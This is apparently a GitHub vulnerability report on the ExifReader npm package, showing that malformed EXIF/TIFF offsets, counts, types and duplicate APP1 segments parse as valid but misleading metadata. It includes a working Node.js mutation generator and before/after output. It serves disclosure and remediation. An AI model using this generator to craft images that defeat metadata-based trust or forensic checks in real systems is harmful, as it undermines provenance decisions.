Skip to content

ExifReader Metadata Integrity Violations via EXIF/TIFF Parser Confusion #610

@franrojasblaze

Description

@franrojasblaze
Package: exifreader
Ecosystem: npm
Issue Class: malformed EXIF/TIFF structures accepted with misleading metadata output
Severity: Moderate
Suggested Weaknesses: CWE-20, CWE-755
Primary Security Property Affected: Integrity

Executive Summary

This report documents a broader class of metadata integrity failures in ExifReader. During controlled testing, malformed but structurally plausible JPEG/EXIF inputs were accepted by the parser and produced semantically inconsistent metadata instead of being rejected.

The issue was reproduced across three distinct mutation families:

  • Offset confusion through manipulated TIFF first-IFD offsets
  • Count / type abuse through malformed EXIF pointer count and type reinterpretation
  • Multi-segment ambiguity through conflicting APP1/EXIF segments

Across these cases, legitimate EXIF fields disappeared, EXIF-linked values became <faulty value>, and spurious tags such as GrayResponseUnit appeared in successful parse output. In a realistic downstream trust pipeline, one malformed file changed the outcome from Camera trusted to Unknown camera.

The security significance is not code execution. The significance is that malformed EXIF/TIFF data can be accepted as valid metadata, causing downstream systems to make incorrect trust, classification, or forensic decisions.

Threat Model

This issue is relevant in applications that process attacker-controlled or user-supplied images and rely on metadata returned by ExifReader for any of the following:

  • camera or source validation,
  • media classification,
  • security or trust decisions,
  • audit or forensic workflows,
  • metadata-driven automation and enrichment.

The attacker does not need to exploit memory corruption. They only need to supply a crafted image with a malformed but parser-acceptable EXIF/TIFF layout.

Technical Summary

The common failure mode across the three cases is that malformed EXIF/TIFF state is not rejected cleanly. Instead, the parser continues and returns metadata that is incomplete, misleading, or explicitly marked as <faulty value>.

The observed behaviors include:

  • suppression of legitimate camera-identifying EXIF fields,
  • reinterpretation of EXIF-linked fields into invalid values,
  • emergence of spurious TIFF-derived fields,
  • successful parse completion despite semantically invalid structure,
  • downstream trust logic receiving misleading metadata.

Test Environment

Platform: Kali Linux
Runtime: Node.js v22.22.0
Library under test: ExifReader
Sample used for controlled comparisons: NPBT_SC_background.jpg

Proof-of-Concept Code

1. Advanced Mutation Generator

The following script was used to generate malformed EXIF/TIFF variants covering offset confusion, count abuse, type reinterpretation, cross-IFD confusion, and APP1 multi-segment ambiguity.

const fs = require('fs');
const path = require('path');

const inDir = process.argv[2] || './samples';
const outDir = process.argv[3] || './corpus/advanced-hunt';

fs.mkdirSync(outDir, { recursive: true });

function walk(d) {
  const out = [];
  for (const name of fs.readdirSync(d)) {
    const p = path.join(d, name);
    const st = fs.statSync(p);
    if (st.isDirectory()) out.push(...walk(p));
    else out.push(p);
  }
  return out;
}

function clone(buf) {
  return Buffer.from(buf);
}

function save(base, suffix, buf) {
  fs.writeFileSync(path.join(outDir, `${base}.${suffix}.bin`), buf);
}

function findAll(buf, pattern) {
  const hits = [];
  for (let i = 0; i <= buf.length - pattern.length; i++) {
    let ok = true;
    for (let j = 0; j < pattern.length; j++) {
      if (buf[i + j] !== pattern[j]) {
        ok = false;
        break;
      }
    }
    if (ok) hits.push(i);
  }
  return hits;
}

function readUInt16(buf, off, little) {
  if (off + 2 > buf.length) return null;
  return little ? buf.readUInt16LE(off) : buf.readUInt16BE(off);
}

function readUInt32(buf, off, little) {
  if (off + 4 > buf.length) return null;
  return little ? buf.readUInt32LE(off) : buf.readUInt32BE(off);
}

function writeUInt16(buf, off, value, little) {
  if (off + 2 > buf.length) return false;
  if (little) buf.writeUInt16LE(value & 0xffff, off);
  else buf.writeUInt16BE(value & 0xffff, off);
  return true;
}

function writeUInt32(buf, off, value, little) {
  if (off + 4 > buf.length) return false;
  if (little) buf.writeUInt32LE(value >>> 0, off);
  else buf.writeUInt32BE(value >>> 0, off);
  return true;
}

function findExifHeaders(buf) {
  const exifHits = findAll(buf, Buffer.from('Exif\\0\\0', 'binary'));
  const headers = [];

  for (const exifOff of exifHits) {
    const tiffOff = exifOff + 6;
    if (tiffOff + 8 > buf.length) continue;

    const b0 = buf[tiffOff];
    const b1 = buf[tiffOff + 1];
    const isLE = b0 === 0x49 && b1 === 0x49;
    const isBE = b0 === 0x4d && b1 === 0x4d;
    if (!isLE && !isBE) continue;

    const little = isLE;
    const magic = readUInt16(buf, tiffOff + 2, little);
    if (magic !== 42) continue;

    const firstIfdRel = readUInt32(buf, tiffOff + 4, little);
    if (firstIfdRel == null) continue;
    const firstIfdAbs = tiffOff + firstIfdRel;

    headers.push({
      exifOff,
      tiffOff,
      little,
      firstIfdRel,
      firstIfdAbs
    });
  }

  return headers;
}

function getIfdInfo(buf, hdr, ifdAbs) {
  if (ifdAbs + 2 > buf.length) return null;
  const count = readUInt16(buf, ifdAbs, hdr.little);
  if (count == null) return null;

  const entries = [];
  for (let i = 0; i < count; i++) {
    const off = ifdAbs + 2 + (i * 12);
    if (off + 12 > buf.length) break;

    entries.push({
      off,
      tagId: readUInt16(buf, off, hdr.little),
      type: readUInt16(buf, off + 2, hdr.little),
      count: readUInt32(buf, off + 4, hdr.little),
      valueOrOffset: readUInt32(buf, off + 8, hdr.little)
    });
  }

  const nextIfdOff = ifdAbs + 2 + (count * 12);
  const nextIfdRel = nextIfdOff + 4 <= buf.length ? readUInt32(buf, nextIfdOff, hdr.little) : null;

  return { count, entries, nextIfdOff, nextIfdRel };
}

function mutateTypeConfusion(buf, hdr, base) {
  const ifd = getIfdInfo(buf, hdr, hdr.firstIfdAbs);
  if (!ifd) return;

  const candidateTags = new Set([271, 272, 274, 282, 283, 296, 34665, 34853]);

  for (const e of ifd.entries) {
    if (!candidateTags.has(e.tagId)) continue;

    const weirdTypes = [0, 1, 2, 5, 7, 9, 10, 13, 65535];

    for (const wt of weirdTypes) {
      if (wt === e.type) continue;
      const out = clone(buf);
      if (!writeUInt16(out, e.off + 2, wt, hdr.little)) continue;
      save(base, `typeconf_tag${e.tagId}_type${wt}`, out);
    }
  }
}

function mutateCountAbuse(buf, hdr, base) {
  const ifd = getIfdInfo(buf, hdr, hdr.firstIfdAbs);
  if (!ifd) return;

  const targetTags = new Set([271, 272, 282, 283, 34665, 34855, 36867, 37386, 42036]);

  for (const e of ifd.entries) {
    if (!targetTags.has(e.tagId)) continue;

    const badCounts = [0, 1, 2, 4, 8, 16, 255, 4096, 0x7fffffff];

    for (const bc of badCounts) {
      if (bc === e.count) continue;
      const out = clone(buf);
      if (!writeUInt32(out, e.off + 4, bc, hdr.little)) continue;
      save(base, `countabuse_tag${e.tagId}_count${bc}`, out);
    }
  }

  const badEntryCounts = [0, 1, 2, 255, 1024, 65535];
  for (const bec of badEntryCounts) {
    const out = clone(buf);
    if (!writeUInt16(out, hdr.firstIfdAbs, bec, hdr.little)) continue;
    save(base, `ifd_entrycount_${bec}`, out);
  }
}

function mutateCrossIfdConfusion(buf, hdr, base) {
  const ifd0 = getIfdInfo(buf, hdr, hdr.firstIfdAbs);
  if (!ifd0) return;

  const interestingAbs = [];
  interestingAbs.push(hdr.tiffOff);
  interestingAbs.push(hdr.tiffOff + 2);
  interestingAbs.push(hdr.tiffOff + 4);
  interestingAbs.push(hdr.firstIfdAbs);
  interestingAbs.push(hdr.firstIfdAbs + 2);
  if (ifd0.entries[0]) interestingAbs.push(ifd0.entries[0].off);
  if (ifd0.entries[1]) interestingAbs.push(ifd0.entries[1].off);
  if (ifd0.nextIfdOff) interestingAbs.push(ifd0.nextIfdOff);

  for (const e of ifd0.entries) {
    if (e.tagId !== 34665 && e.tagId !== 34853) continue;

    for (const abs of interestingAbs) {
      const rel = abs - hdr.tiffOff;
      if (rel < 0) continue;

      const out = clone(buf);
      if (!writeUInt32(out, e.off + 8, rel, hdr.little)) continue;
      save(base, `crossifd_tag${e.tagId}_to_${rel}`, out);
    }
  }

  if (ifd0.nextIfdOff + 4 <= buf.length) {
    for (const abs of interestingAbs) {
      const rel = abs - hdr.tiffOff;
      if (rel < 0) continue;

      const out = clone(buf);
      if (!writeUInt32(out, ifd0.nextIfdOff, rel, hdr.little)) continue;
      save(base, `crossifd_nextifd_to_${rel}`, out);
    }
  }
}

function mutateMultiSegmentAmbiguity(buf, hdr, base) {
  const exifAbs = hdr.exifOff;
  const copyLen = Math.min(128, buf.length - exifAbs);
  if (copyLen < 16) return;

  const exifChunk = buf.subarray(exifAbs, exifAbs + copyLen);
  const app1PayloadLen = exifChunk.length;
  const app1TotalLenField = app1PayloadLen + 2;
  if (app1TotalLenField > 0xffff) return;

  const app1 = Buffer.alloc(4 + app1PayloadLen);
  app1[0] = 0xff;
  app1[1] = 0xe1;
  app1.writeUInt16BE(app1TotalLenField, 2);
  exifChunk.copy(app1, 4);

  {
    const insertPos = Math.min(buf.length, exifAbs + copyLen);
    const out = Buffer.concat([buf.subarray(0, insertPos), app1, buf.subarray(insertPos)]);
    save(base, 'multiseg_dup_app1_after_exif', out);
  }

  {
    const insertPos = Math.min(buf.length, 20);
    const out = Buffer.concat([buf.subarray(0, insertPos), app1, buf.subarray(insertPos)]);
    save(base, 'multiseg_dup_app1_near_start', out);
  }

  {
    const fakeChunk = Buffer.from(exifChunk);
    const fakeHdr = findExifHeaders(fakeChunk);
    if (fakeHdr.length > 0) {
      const fh = fakeHdr[0];
      writeUInt32(fakeChunk, fh.tiffOff + 4, 1, fh.little);

      const app1bPayloadLen = fakeChunk.length;
      const app1bTotalLenField = app1bPayloadLen + 2;
      if (app1bTotalLenField <= 0xffff) {
        const app1b = Buffer.alloc(4 + app1bPayloadLen);
        app1b[0] = 0xff;
        app1b[1] = 0xe1;
        app1b.writeUInt16BE(app1bTotalLenField, 2);
        fakeChunk.copy(app1b, 4);

        const insertPos = Math.min(buf.length, 20);
        const out = Buffer.concat([buf.subarray(0, insertPos), app1b, buf.subarray(insertPos)]);
        save(base, 'multiseg_conflicting_app1_firstifd1', out);
      }
    }
  }
}

const files = walk(inDir);

for (const file of files) {
  const buf = fs.readFileSync(file);
  const base = path.basename(file).replace(/[^\\w.-]/g, '_');
  const headers = findExifHeaders(buf);

  if (headers.length === 0) continue;

  for (const hdr of headers) {
    mutateTypeConfusion(buf, hdr, base);
    mutateCountAbuse(buf, hdr, base);
    mutateCrossIfdConfusion(buf, hdr, base);
    mutateMultiSegmentAmbiguity(buf, hdr, base);
  }
}

console.log(`Generated advanced hunt corpus in: ${outDir}`);

2. Metadata Comparison Script

This script was used to compare original metadata against malformed variants.

const fs = require('fs');
const ExifReader = require('exifreader');

const a = process.argv[2];
const b = process.argv[3];

function load(file) {
  const buf = fs.readFileSync(file);
  const tags = ExifReader.load(buf);
  const out = {};
  for (const [k, v] of Object.entries(tags || {})) {
    out[k] = {
      id: v && v.id,
      value: v && v.value,
      description: v && v.description
    };
  }
  return out;
}

const ta = load(a);
const tb = load(b);

console.log('=== only in A ===');
for (const k of Object.keys(ta)) {
  if (!(k in tb)) console.log(k, ta[k]);
}

console.log('=== only in B ===');
for (const k of Object.keys(tb)) {
  if (!(k in ta)) console.log(k, tb[k]);
}

console.log('=== changed ===');
for (const k of Object.keys(ta)) {
  if (k in tb) {
    const va = JSON.stringify(ta[k]);
    const vb = JSON.stringify(tb[k]);
    if (va !== vb) {
      console.log(k);
      console.log('A:', va);
      console.log('B:', vb);
    }
  }
}

3. Determinism Test Script

This script was used to prove stable misparse behavior across repeated runs.

const fs = require('fs');
const ExifReader = require('exifreader');

const file = process.argv[2];
const runs = 50;

function extractSignature(tags) {
  return Object.keys(tags || {}).sort().join(',');
}

let results = new Map();

for (let i = 0; i < runs; i++) {
  try {
    const buf = fs.readFileSync(file);
    const tags = ExifReader.load(buf);
    const sig = extractSignature(tags);
    results.set(sig, (results.get(sig) || 0) + 1);
  } catch (e) {
    results.set('ERROR', (results.get('ERROR') || 0) + 1);
  }
}

console.log(results);

4. Downstream Trust Pipeline PoC

This simple pipeline demonstrates the security consequence of misleading metadata.

const fs = require('fs');
const ExifReader = require('exifreader');

const buf = fs.readFileSync(process.argv[2]);
const tags = ExifReader.load(buf);

if (tags.Make && tags.Make.description.includes('Canon')) {
  console.log('Camera trusted');
} else {
  console.log('Unknown camera');
}

Representative Case 1 - Offset Confusion

In this case, the first TIFF IFD offset was manipulated so that the parser followed an invalid but accepted structure. The parse completed successfully, but legitimate EXIF fields disappeared and a spurious tag emerged.

Representative File

./corpus/offset-chains/NPBT_SC_background.jpg.first_ifd_one.bin

Determinism Output

node stress-test.js ./corpus/offset-chains/NPBT_SC_background.jpg.first_ifd_one.bin

Map(1) {
'Bits Per Sample,Color Components,FileType,GrayResponseUnit,Image Height,Image Width,JFIF Thumbnail Height,JFIF Thumbnail Width,JFIF Version,Resolution Unit,Subsampling,XResolution,YResolution' => 50
}

Observed Metadata Delta

=== only in A ===
Make { id: 271, value: [ 'Canon' ], description: 'Canon' }
Model { id: 272, value: [ 'Canon EOS 7D' ], description: 'Canon EOS 7D' }
ExposureTime { id: 33434, value: [ 180, 1 ], description: '180' }
Exif IFD Pointer { id: 34665, value: 89, description: 89 }
FNumber { id: 33437, value: [ 11, 1 ], description: 'f/11.0' }
ISOSpeedRatings { id: 34855, value: [ 100, 0 ], description: '100, 0' }
DateTimeOriginal {
  id: 36867,
  value: [ '2015:07:17 05:02:55' ],
  description: '2015:07:17 05:02:55'
}
Flash { id: 37385, value: [ 16, 0 ], description: 'Unknown' }
FocalLength { id: 37386, value: [ 13, 1 ], description: '13 mm' }
LensModel { id: 42036, value: [ '10-20mm' ], description: '10-20mm' }

=== only in B ===
GrayResponseUnit { id: 290, value: [ '<faulty value>' ], description: 'Unknown' }

Impact Statement

A malformed offset was sufficient to suppress legitimate camera-identifying metadata and replace it with spurious TIFF-derived output, while the parser still returned success.

Representative Case 2 - Count / Type Abuse

In this case, EXIF-linked fields were destabilized through count and type manipulation affecting the EXIF IFD Pointer. The parser still completed successfully, but EXIF-linked output became invalid.

Representative Files

./corpus/advanced-hunt/NPBT_SC_background.jpg.typeconf_tag34665_type7.bin
./corpus/advanced-hunt/NPBT_SC_background.jpg.countabuse_tag34665_count2147483647.bin

Observed Metadata Delta - Type Reinterpretation

=== only in A ===
FNumber { id: 33437, value: [ 11, 1 ], description: 'f/11.0' }
ISOSpeedRatings { id: 34855, value: [ 100, 0 ], description: '100, 0' }
DateTimeOriginal {
  id: 36867,
  value: [ '2015:07:17 05:02:55' ],
  description: '2015:07:17 05:02:55'
}
Flash { id: 37385, value: [ 16, 0 ], description: 'Unknown' }
FocalLength { id: 37386, value: [ 13, 1 ], description: '13 mm' }
LensModel { id: 42036, value: [ '10-20mm' ], description: '10-20mm' }

=== only in B ===

=== changed ===
Exif IFD Pointer
A: {"id":34665,"value":89,"description":89}
B: {"id":34665,"value":0,"description":0}

Observed Metadata Delta - Count Abuse

=== only in A ===
FNumber { id: 33437, value: [ 11, 1 ], description: 'f/11.0' }
ISOSpeedRatings { id: 34855, value: [ 100, 0 ], description: '100, 0' }
DateTimeOriginal {
  id: 36867,
  value: [ '2015:07:17 05:02:55' ],
  description: '2015:07:17 05:02:55'
}
Flash { id: 37385, value: [ 16, 0 ], description: 'Unknown' }
FocalLength { id: 37386, value: [ 13, 1 ], description: '13 mm' }
LensModel { id: 42036, value: [ '10-20mm' ], description: '10-20mm' }

=== only in B ===

=== changed ===
Exif IFD Pointer
A: {"id":34665,"value":89,"description":89}
B: {"id":34665,"value":"<faulty value>","description":"<faulty value>"}

Additional Observation

cat findings/advanced-hunt.jsonl | jq -c 'select(.ok == true and .heapDelta > 300000)'

{"file":"corpus/advanced-hunt/NPBT_SC_background.jpg.countabuse_tag34665_count4096.bin","size":187101,"sha256":"3b9acd7ecca0e07908873913a9a8fc47920ba7d35842242978983d6c95d78d0b","ok":true,"ms":1.084,"heapDelta":601008,"tagCount":16}
{"file":"corpus/advanced-hunt/NPBT_SC_background.jpg.typeconf_tag34665_type7.bin","size":187101,"sha256":"91b1277a6d5f280c1dd1045370ab3040d30992504cf4ce65bb630aebd065651b","ok":true,"ms":2.961,"heapDelta":1890032,"tagCount":16}

These cases reinforce that malformed count/type semantics can influence internal parser behavior without producing a controlled rejection.

Representative Case 3 - Multi-Segment Ambiguity

In this case, conflicting APP1/EXIF segments were introduced. The parser emitted its own warning that multiple EXIF segments were found and that it would pick the "best candidate segment". The selected result was still misleading.

Representative File

./corpus/advanced-hunt/NPBT_SC_background.jpg.multiseg_conflicting_app1_firstifd1.bin

Observed Parser Warning

ExifReader: Found 2 Exif segments (APP1). Will pick the best candidate segment.

Observed Metadata Delta

=== only in A ===
Make { id: 271, value: [ 'Canon' ], description: 'Canon' }
Model { id: 272, value: [ 'Canon EOS 7D' ], description: 'Canon EOS 7D' }
ExposureTime { id: 33434, value: [ 180, 1 ], description: '180' }
Exif IFD Pointer { id: 34665, value: 89, description: 89 }
FNumber { id: 33437, value: [ 11, 1 ], description: 'f/11.0' }
ISOSpeedRatings { id: 34855, value: [ 100, 0 ], description: '100, 0' }
DateTimeOriginal {
  id: 36867,
  value: [ '2015:07:17 05:02:55' ],
  description: '2015:07:17 05:02:55'
}
Flash { id: 37385, value: [ 16, 0 ], description: 'Unknown' }
FocalLength { id: 37386, value: [ 13, 1 ], description: '13 mm' }
LensModel { id: 42036, value: [ '10-20mm' ], description: '10-20mm' }

=== only in B ===
GrayResponseUnit { id: 290, value: [ '<faulty value>' ], description: 'Unknown' }

Downstream Trust Decision Impact

node pipeline.js ./samples/NPBT_SC_background.jpg
Camera trusted

node pipeline.js ./corpus/advanced-hunt/NPBT_SC_background.jpg.multiseg_conflicting_app1_firstifd1.bin
ExifReader: Found 2 Exif segments (APP1). Will pick the best candidate segment.
Unknown camera

This is a concrete integrity impact. The same image-processing logic made a different trust decision solely because malformed EXIF/TIFF ambiguity was accepted and returned as successful metadata output.

Cross-Case Evidence of a Broader Vulnerability Class

The following grep results show that the malformed output pattern was not isolated to a single mutation.

grep -R "GrayResponseUnit\|faulty value" findings/

findings/NPBT_SC_background.jpg.multiseg_conflicting_app1_firstifd1.bin.json:  "GrayResponseUnit": {
findings/NPBT_SC_background.jpg.multiseg_conflicting_app1_firstifd1.bin.json:      "<faulty value>"
findings/first_ifd_one-tags.json:  "GrayResponseUnit": {
findings/first_ifd_one-tags.json:      "<faulty value>"
findings/NPBT_SC_background.jpg.countabuse_tag272_count2147483647.bin.json:      "<faulty value>"
findings/NPBT_SC_background.jpg.countabuse_tag272_count2147483647.bin.json:    "description": "<faulty value>"
findings/NPBT_SC_background.jpg.multiseg_dup_app1_after_exif.bin.json:    "value": "<faulty value>",
findings/NPBT_SC_background.jpg.multiseg_dup_app1_after_exif.bin.json:    "description": "<faulty value>"
findings/NPBT_SC_background.jpg.tag_34665_one.bin.json:  "GrayResponseUnit": {
findings/NPBT_SC_background.jpg.tag_34665_one.bin.json:      "<faulty value>"
findings/NPBT_SC_background.jpg.first_ifd_one.bin.json:  "GrayResponseUnit": {
findings/NPBT_SC_background.jpg.first_ifd_one.bin.json:      "<faulty value>"
findings/NPBT_SC_background.jpg.next_ifd_one.bin.json:    "GrayResponseUnit": {
findings/NPBT_SC_background.jpg.next_ifd_one.bin.json:        "<faulty value>"
findings/NPBT_SC_background.jpg.countabuse_tag34665_count2147483647.bin.json:    "value": "<faulty value>",
findings/NPBT_SC_background.jpg.countabuse_tag34665_count2147483647.bin.json:    "description": "<faulty value>"
findings/NPBT_SC_background.jpg.countabuse_tag271_count2147483647.bin.json:      "<faulty value>"
findings/NPBT_SC_background.jpg.countabuse_tag271_count2147483647.bin.json:    "description": "<faulty value>"

This confirms a broader parser confusion class involving malformed offsets, counts, tag types, and APP1 ambiguity.

Impact Assessment

Property Assessment
Confidentiality None observed
Integrity High relevance. Misleading metadata can influence trust, classification, or forensic decisions.
Availability Not required for this specific issue class

The most important demonstrated impact is not raw parser instability, but successful production of semantically misleading metadata under malformed EXIF/TIFF conditions.

In security-sensitive systems, this can affect:

  • camera-based allow / deny rules,
  • source attribution,
  • evidence and provenance workflows,
  • metadata-driven enrichment and routing,
  • automated trust or risk scoring based on EXIF fields.

Expected Behavior

Malformed EXIF/TIFF structures should be rejected with a controlled parser error. The parser should not report success while returning semantically inconsistent metadata derived from invalid offset traversal, invalid count interpretation, invalid type reinterpretation, or conflicting APP1-segment selection.

Root Cause Hypothesis

The issue appears to stem from insufficient semantic validation of EXIF/TIFF structures before and during IFD traversal. Specifically:

  • offsets may be followed without ensuring they describe a semantically valid IFD region,
  • count and type fields may be accepted in combinations that should be rejected,
  • APP1-segment ambiguity resolution may prioritize parser continuation over strict validity enforcement,
  • malformed structures are normalized into output, not rejection.

Recommendations

Library-Side Recommendations

  • Validate that all EXIF/TIFF offsets point to structurally and semantically valid IFD regions before parsing.
  • Reject malformed count/type combinations for EXIF-linked tags, especially IFD pointers and pointer-derived structures.
  • Fail closed on malformed pointer semantics rather than generating <faulty value> output in successful results.
  • Harden APP1 multi-segment selection logic so that ambiguous or conflicting EXIF segments do not result in misleading metadata.
  • Add regression tests covering:
    • first IFD offset tampering,
    • Exif IFD Pointer type reinterpretation,
    • Exif IFD Pointer count abuse,
    • conflicting APP1 segments with competing EXIF payloads,
    • spurious tag emergence such as GrayResponseUnit,
    • loss of legitimate EXIF camera-identifying fields.

Application-Side Recommendations

  • Do not make trust decisions based solely on EXIF metadata returned from a single parser.
  • Treat <faulty value>, missing EXIF anchors, or spurious tag emergence as indicators of malformed input.
  • Use metadata consistency checks when EXIF is used in security-sensitive workflows.
  • Log and quarantine malformed EXIF/TIFF cases instead of silently trusting parse output.
  • Cross-validate critical metadata through multiple signals if provenance or trust decisions matter.

Suggested Advisory Metadata

Field Value
Package exifreader
Ecosystem npm
Weaknesses CWE-20, CWE-755
Severity Moderate
Suggested Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Maintainer-Facing Short Summary

Malformed but structurally plausible EXIF/TIFF inputs can cause ExifReader to
successfully parse and return semantically misleading metadata instead of rejecting
invalid structures. This was reproduced across multiple mutation families,
including first-IFD offset tampering, Exif IFD Pointer count/type manipulation,
and conflicting APP1 segments. In testing, legitimate EXIF camera-identifying fields
disappeared, EXIF-linked values became "<faulty value>", spurious tags such as
GrayResponseUnit appeared, and downstream trust logic changed from "Camera trusted"
to "Unknown camera".

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions